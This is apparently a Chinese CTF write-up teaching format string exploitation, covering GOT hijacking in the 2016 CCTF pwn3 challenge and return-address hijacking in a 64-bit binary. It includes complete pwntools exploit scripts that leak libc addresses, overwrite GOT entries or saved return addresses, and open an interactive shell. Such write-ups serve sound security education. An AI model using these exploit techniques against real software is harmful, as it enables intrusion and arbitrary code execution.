格式化字符串漏习题

got劫持

原理

在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。
举一个例子

#include <stdio.h>
#include <stdlib.h>

void win()
{
    puts("you win");
}
void main()
{
    unsigned int addr, value;
    scanf("%x=%x",&addr, &value);
    *(unsigned int *)addr  = value;
    printf("set %x=%x",addr,value);
}

这里允许修改任意地址4字节,那么如何执行win函数呢?在修改数据之后调用了printf函数,可以考虑修改printf()的got表项将其劫持到win函数。
格式化字符串漏习题

例题

2016 CCTF 中的 pwn3
链接: https://pan.baidu.com/s/1VQryC4BZrB6dMoEXfyIhOw 密码: e2b4

格式化字符串漏习题

IDA下F5看看,

格式化字符串漏习题

格式化字符串漏习题

格式化字符串漏习题
有个验证判断,ASCII加1即可
逆向一波即可通过进入循环
格式化字符串漏习题
在后面的getfile()中存在格式化字符串漏洞
exp

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
sh = process("./pwn3")
pwn3 = ELF("./pwn3")


def pass_judge():
    tmp = "sysbdmin"
    name = ""
    for i in tmp:
        name += chr(ord(i) - 1)
    sh.recvuntil('Name (ftp.hacker.server:Rainism):')
    sh.sendline(name)

def put_file(name, content):
    sh.sendline('put')
    sh.recvuntil('upload:')
    sh.sendline(name)
    sh.recvuntil('content:')
    sh.sendline(content)

def get_file(name):
    sh.sendline('get')
    sh.recvuntil('get:')
    sh.sendline(name)
    #gdb.attach(sh)
    return sh.recv()


pass_judge()
log.success('go in to')

# get addr of puts
puts_got = pwn3.got["puts"]
log.success('puts got ' + hex(puts_got))
put_file(b'AAAA',b"%8$s" + p32(puts_got))
puts_addr = u32(get_file('AAAA')[:4])
log.success('puts addr ' + hex(puts_addr))

# get system addr
libc = LibcSearcher("puts",puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
log.success('puts offets ' + hex(puts_offset))
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))


payload = fmtstr_payload(7, {puts_got: system_addr})
put_file('/bin/sh;', payload)
#sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('get:')
##gdb.attach(sh)
sh.sendline('/bin/sh;')

sh.sendline('dir')
sh.interactive()

核心思路是劫持GOT表,利用格式化字符串漏洞把puts地址改写成system地址。
以下摘自CTF-wiki pwn
这里我利用了 pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。

hijack ret

与前面的题一样,这里是利用格式化字符串漏洞劫持了返回地址

例题

链接: https://pan.baidu.com/s/1pANMgHf7pnKvZCllwWSWuA 密码: pkio

格式化字符串漏习题
64位程序,开启了Full RELRO保护,因此不能劫持GOT表了。
跑了一下程序发现是一个类似注册账户修改信息的。
IDA下找了找,在这发现了格式化字符串漏洞

格式化字符串漏习题

&a9+4我们在输入密码的这里也看到了

格式化字符串漏习题
还可以发现username和password之间距离为20个字节,在分析的时候我们还发现了这样一个函数

格式化字符串漏习题
竟然直接调用system了,原来就是你把shell带到这边来的。到这里其实分析的差不多了

利用思路

很显然,我们可以修改某个函数的返回地址为调用system的地址,这样直接就能拿shell。
通过相对偏移来ret2addr。整个流程如下

  • 确定偏移
  • 获取函数的 rbp 与返回地址
  • 根据相对偏移获取存储返回地址的地址
  • 将执行 system 函数调用的地址写入到存储返回地址的地址。
    首先来确定一下偏移

格式化字符串漏习题
我们在第二个print处下断点,输入数据后查看偏移

格式化字符串漏习题
在栈的第二个位置处是0x400d74保存的是原来的额rip。
值得一提的是,我们不能忽略这是64位的程序,所以有一些参数是通过寄存器传递的。
直接用pwngdb的fmtarg查看偏移,d0偏移是8的话那rbp就是6。
格式化字符串漏习题
一个是name的一个是password的。
接下来算下基于栈的rip偏移是多少因为存储的返回地址本身是动态变化的,但是其相对于rbp的地址并不会改变。

格式化字符串漏习题

格式化字符串漏习题
到这里其实解题方法已经很明显了,首先通过格式化字符串获取栈基址,接着通过偏移得到rip的地址,那么通过格式化字符串的任意地址写就可以替换成system了。
exp

from pwn import *

sh = process('./pwnme_k0')

sh.recv()
sh.sendline('A'*8)
sh.recv()
sh.sendline("%6$p")

sh.recvuntil('>')
sh.sendline('1')
addr = ( sh.recvuntil('>').decode('utf-8') ).split('\n')[1]
leak_addr = int(addr,16) - 0x38

# write addr to rip
sh.sendline('2')
sh.recv()
sh.sendline('1'*8)
sh.recv()
sh.sendline(p64(leak_addr))
sh.recv()
sh.sendline("%2218d%8$hn")

sh.recv()
sh.sendline('1')
sh.recv()
sh.interactive()

参考

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~